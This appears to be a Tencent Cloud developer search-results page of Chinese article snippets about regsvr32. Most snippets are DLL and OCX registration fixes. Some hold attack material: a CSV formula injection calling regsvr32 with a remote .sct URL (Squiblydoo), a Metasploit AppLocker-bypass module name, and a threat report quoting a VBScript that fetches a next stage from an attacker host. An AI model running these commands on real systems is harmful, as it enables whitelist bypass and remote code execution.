- 综合排序
- 最热优先
- 最新优先
- 来自专栏鸿鹄实验室
regsvr32绕过(二)
很久之前写过一篇regsvr32绕过的文章，今天更新第二篇。 ? 测试环境如下： ? 在电脑上执行： ? 我们看一下具体是哪里出了问题，查看windows defender的详细： ? 后来再查找资料的过程中，发现了一个叫做Dllinstailler的项目，简介为C# DLL Installer like regsvr32，但是后来发现，它真的只是能dll，遂放弃。
92920发布于 2021-04-01 - 来自专栏全栈程序员必看
pycharm导入模块出错_regsvr32模块加载失败
Pycharm项目中，导入模块出现下列情况时，说明Appium-Python-Client没有安装
1.3K10编辑于 2022-11-03 - 来自专栏全栈程序员必看
利用Regsvr32绕过Applocker的限制策略
Metasploit Metasploit框架有一个特定的有效载荷，可用于通过Regsvr32实用程序实现自动化绕过AppLocker exploit/windows/misc/regsvr32_applocker_bypass_server 该模块将启用一个用于存储恶意.sct文件的web服务，同时也提供用于在目标系统下执行的命令 命令执行后regsvr32将从web服务器请求.sct文件，然后执行PowerShell payload
31720编辑于 2022-07-21 - 来自专栏卓谷山
手动注册和卸载ActiveX(cab文件）
例如到d:\test 下，里面存在一个ocx文件（例如文件名叫：test.ocx） 执行regsvr32。 regsvr32 d:\test\test.ocx 卸载 同样使用regsvr32，只是需要加个参数-u。 regsvr32 -u d:\test\test.ocx 完了~_~ -------------------------------------------------- 参考url https://blog.csdn.net
1.1K30编辑于 2022-08-22 - 来自专栏全栈程序员必看
Generic Host process for Win32 service 解决办法「建议收藏」
2 再次打开”运行”窗口，输入”regsvr32 shdocvw.dll 3 再次打开”运行”窗口，输入”regsvr32 oleaut32.dll 4 再次打开”运行”窗口，输入”regsvr32 actxprxy.dll 5 再次打开”运行”窗口，输入”regsvr32 mshtml.dll 6 再次打开”运行”窗口，输入”regsvr32 msjava.dll 7 再次打开”运行”窗口 ，输入”regsvr32 browseui.dll 8 再次打开”运行”窗口，输入”regsvr32 urlmon.dll 其中在第6步的时候注册失败，于是下载组件，继续，组件注册成功……但还是失败了 Urlmon.dll（enter） regsvr32 Shdocvw.dll（enter） regsvr32 Msjava.dll（enter） regsvr32 Actxprxy.dll （enter） regsvr32 Oleaut32.dll（enter） regsvr32 Mshtml.dll（enter） regsvr32 Browseui.dll（enter）
67420编辑于 2022-11-04 - 来自专栏听雨堂
“正在注册字体”问题解决
如： regsvr32 "C:\Program Files\商洛市防汛抗旱指挥系统\ContourOCX\ContourOCX.ocx" if exist %Systemroot%\SysWOW64 ( regsvr32 "C:\Program Files (x86)\MapInfo\MapX 5.0\MAPX50.DLL" ) else ( regsvr32 "C:\Program
3.7K90发布于 2018-01-23 - 来自专栏giantbranch's blog
Microsoft Excel CSV 文件代码执行
\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!'' 简析 因为execl遇到等号就是公式开始的地方，继而执行后面的代码 regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll parameter (/i) scrobj.dll是 Microsoft’s Script Component 运行库，使用这个dll获取并执行Windows Script Component （即sct文件） 而regsvr32 可以绕过AppLocker白名单并执行脚本 测试 默认安装的execl会有安全警告（声明），点启用 又以警告 再点击是，就会弹出计算器（360会拦截regsvr32利用攻击） references https
23600编辑于 2024-12-31 - 来自专栏从ORACLE起航，领略精彩的IT技术。
flash8.ocx或其附件之一不能正确注册
使用regsvr32注册，需要切换到dll文件所在目录下： C:\Windows\system32>regsvr32 flash8.ocx C:\Windows\system32>cd D:\开发资源库 \dll C:\Windows\system32>d: D:\开发资源库\dll>regsvr32 flash8.ocx D:\开发资源库\dll> 再次运行程序，一切正常。
1.1K20编辑于 2023-02-10 - 来自专栏全栈程序员必看
解决Generic Host Process for Win32 Services错误的问题
在”开始”菜单中打开”运行”窗口，在其中输入”regsvr32 actxprxy.dll”，然后”确定”，接着会出现一个信息对话 框”DllRegisterServer in actxprxy.dll 2 再次打开”运行”窗口，输入”regsvr32 shdocvw.dll 3 再次打开”运行”窗口，输入”regsvr32 oleaut32.dll 4 再次打开”运行”窗口，输入”regsvr32 actxprxy.dll 5 再次打开”运行”窗口，输入”regsvr32 mshtml.dll 6 再次打开”运行”窗口，输入”regsvr32 msjava.dll 7 再次打开”运行 ”窗口，输入”regsvr32 browseui.dll 8 再次打开”运行”窗口，输入”regsvr32 urlmon.dll 如果排除病毒问题后，做完上面的几个IE组件注册一般问题即可得到解决
84520编辑于 2022-11-04 - 来自专栏全栈程序员必看
generic host process已停止工作_host error怎么修复
在“开始“菜单中打开“运行“窗口，在其中输入“regsvr32 actxprxy.dll”，然后“确定“，接着会出现一个信息对话 框“DllRegisterServer in actxprxy.dll 2 再次打开“运行“窗口，输入“regsvr32 shdocvw.dll 3 再次打开“运行“窗口，输入“regsvr32 oleaut32.dll 4 再次打开“运行“窗口，输入“regsvr32 actxprxy.dll 5 再次打开“运行“窗口，输入“regsvr32 mshtml.dll 6 再次打开“运行“窗口，输入“regsvr32 msjava.dll 7 再次打开“运行“窗口 ，输入“regsvr32 browseui.dll 8 再次打开“运行“窗口，输入“regsvr32 urlmon.dll 如果排除病毒问题后，做完上面的几个IE组件注册一般问题即可得到解决。
2.1K20编辑于 2022-11-07 Component ‘ccrpipa6.ocx‘ or one of its dependencies not correctlyregistered: a file is missing or in
a file is missing or invalid 原因： 1、首先把目录目录中的.ocx文件复制到 C:\Windows\SysWOW64 2、用管理员身份打开cmd命令行 依次输入 regsvr32 C:\WINDOWS\SysWOW64\CCRPIPA6.OCX regsvr32 C:\WINDOWS\SysWOW64\Comdlg32.ocx regsvr32 C:\WINDOWS\ SysWOW64\mscomctl.ocx regsvr32 C:\WINDOWS\SysWOW64\Mswinsck.ocx
19910编辑于 2025-08-29- 来自专栏全栈程序员必看
全面解决Generic host process for win32 services遇到问题需要关闭
在”开始”菜单中打开”运行”窗口，在其中输入”regsvr32 actxprxy.dll”，然后”确定”，接着会出现一个信息对话 框”DllRegisterServer in actxprxy.dll 2 再次打开”运行”窗口，输入”regsvr32 shdocvw.dll 3 再次打开”运行”窗口，输入”regsvr32 oleaut32.dll 4 再次打开”运行”窗口，输入”regsvr32 actxprxy.dll 5 再次打开”运行”窗口，输入”regsvr32 mshtml.dll 6 再次打开”运行”窗口，输入”regsvr32 msjava.dll 7 再次打开 ”运行”窗口，输入”regsvr32 browseui.dll 8 再次打开”运行”窗口，输入”regsvr32 urlmon.dll 如果排除病毒问题后，做完上面的几个IE组件注册一般问题即可得到解决
1.6K10编辑于 2022-11-04 COM组件的安装与卸载
使用regsvr32工具：使用regsvr32命令行工具注册组件，该工具调用组件的DllRegisterServer函数。 使用regsvr32工具：使用regsvr32 /u命令行工具卸载组件，该工具调用组件的DllUnregisterServer函数。
5.1K00编辑于 2024-10-13- 来自专栏全栈程序员必看
host process for windows services已停止工作_diagnostic service host启动不了
在”开始”菜单中打开”运行”窗口，在其中输入”regsvr32 actxprxy.dll”，然后”确定”，接着会出现一个信息对话 框”DllRegisterServer in actxprxy.dll 2 再次打开”运行”窗口，输入”regsvr32 shdocvw.dll 3 再次打开”运行”窗口，输入”regsvr32 oleaut32.dll 4 再次打开”运行”窗口，输入” regsvr32 actxprxy.dll 5 再次打开”运行”窗口，输入”regsvr32 mshtml.dll 6 再次打开”运行”窗口，输入”regsvr32 msjava.dll 7 再次打开”运行”窗口，输入”regsvr32 browseui.dll 8 再次打开”运行”窗口，输入”regsvr32 urlmon.dll 如果排除病毒问题后，做完上面的几个
3.7K20编辑于 2022-11-04 - 来自专栏python3
Python调用autoit
/pywin32/ 选择对应的版本下载 2.从autoit3\AutoItX下找到AutoItX3_x64.dll AutoitX.dll，选择对应的32位/64位版本 3.注册dll regsvr32 AutoItX3_x64.dll 或regsvr32 AutoitX.dll 如果注册时报错： 模块“AutoItX3_x64.dll”已加载，但对 DllRegisterServer 的调用失败
2K10发布于 2020-01-06 - 来自专栏FreeBuf
我们是如何发现针对欧洲政府的攻击
Wscript.Shell"): objShell.Run"net use https://postahr.vip", 0, False: Wscript.Sleep 10000:objShell.Run "regsvr32 这条命令会创建一个VB脚本，运行之后会执行下列任务： 1、建立一条WebDAV网络连接； 2、下载并运行文件以备下一阶段的感染，需要借助合法的系统实用工具regsvr32。 这种利用regsvr32来进行恶意攻击的技术被称为Squiblydoo，之前也有过相关介绍。攻击者可以使用它来绕过应用程序白名单，并躲避反病毒产品的检测。 接下来，我们看看下一阶段攻击者如何使用regsvr32来实现感染。命令运行之后，会从攻击者的服务器下载一个JavaScriptscriptlet，Body中包含有Base64编码的数据。 缓解方案 1、监控特定白名单应用程序的使用：certutil,regsvr32, msbuild, net, wmic。 2、扫描并分析邮件附件以及邮件中的链接。 3、定期扫描联网计算机的RAM。
78940发布于 2019-09-17 - 来自专栏跟着阿笨一起玩NET
公开封尘已久的即时通讯源码
_SERVER_ADDRESS="119.10.29.11" Activex控件注册 语音和视频为Activex控制,需要先注册才能编译通过 DEBUG目录有注册文件 regsvr32 "aocx2.ocx" regsvr32 "Vocx.ocx" regsvr32 "ImageOle.dll" 项目下载地址: 链接: http://pan.baidu.com
1.7K30发布于 2018-09-20 - 来自专栏菩提树下的杨过
巧用WinRAR+Javascript解决activeX的自动安装问题
2.下载安装文件的处理 activex的安装其实也就是调用regsvr32命令对ocx进行注册而已，所以基本上安装就是一个copy & run的过程，完全可以用winrar搞定。 (1)先写几个批处理，用于自动注册或反注册，以及删除功能 install.bat 参考内容如下:(这里假定程序安装/解压到c:\capture目录下) regsvr32 c:\capture\QQCaptureActiveX.ocx -s uninstall.bat 参考内容: regsvr32 c:\capture\QQCaptureActiveX.ocx /u delete.bat 参考内容: regsvr32 c:\capture
1.3K50发布于 2018-01-23 - 来自专栏用户8052652的专栏
win7纯净版 摄像头未能创建视频预览怎么办
摄像头未能创建视频预览怎么办 方法1：注册相关文件并检查是否损坏或丢失 单击“开始”，单击“所有程序”，单击“附件”，单击“命令提示符” 未能创建图-1 打开的命令提示符窗口依次执行以下命令，按回车键 regsvr32 Proppage.dll regsvr32 directSpy.dll regsvr32 Quartz.dll 视频预览图-2 弹出“XXXX中的DllRegisterServer成功”的提示对话框说明已经将数据写入注册表
1.1K30发布于 2021-01-21 - 来自专栏AhDung
DLL/OCX文件的注册与数据执行保护DEP
注册/反注册dll或ocx文件时，无论是用regsvr32还是DllRegisterServer/DllUnregisterServer，可能会遇到【内存位置访问无效】的问题： ? 插播一下，系统默认的策略是OptIn，这种策略下普通程序的DEP是关闭的，但是系统程序例外，所以在程序中调用regsvr32进行注册会失败，因为实际执行注册的进程是regsvr32而非自己的程序，而regsvr32 说回DLL注册 上面说过如果是调用regsvr32来注册的，那就算搞掂程序的DEP也无济于事，需要考虑用regsvr32以外的办法进行注册，比如直接调用dll的DllRegisterServer函数，事实上 regsvr32也应该是这么搞。
1.5K20发布于 2020-04-22
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号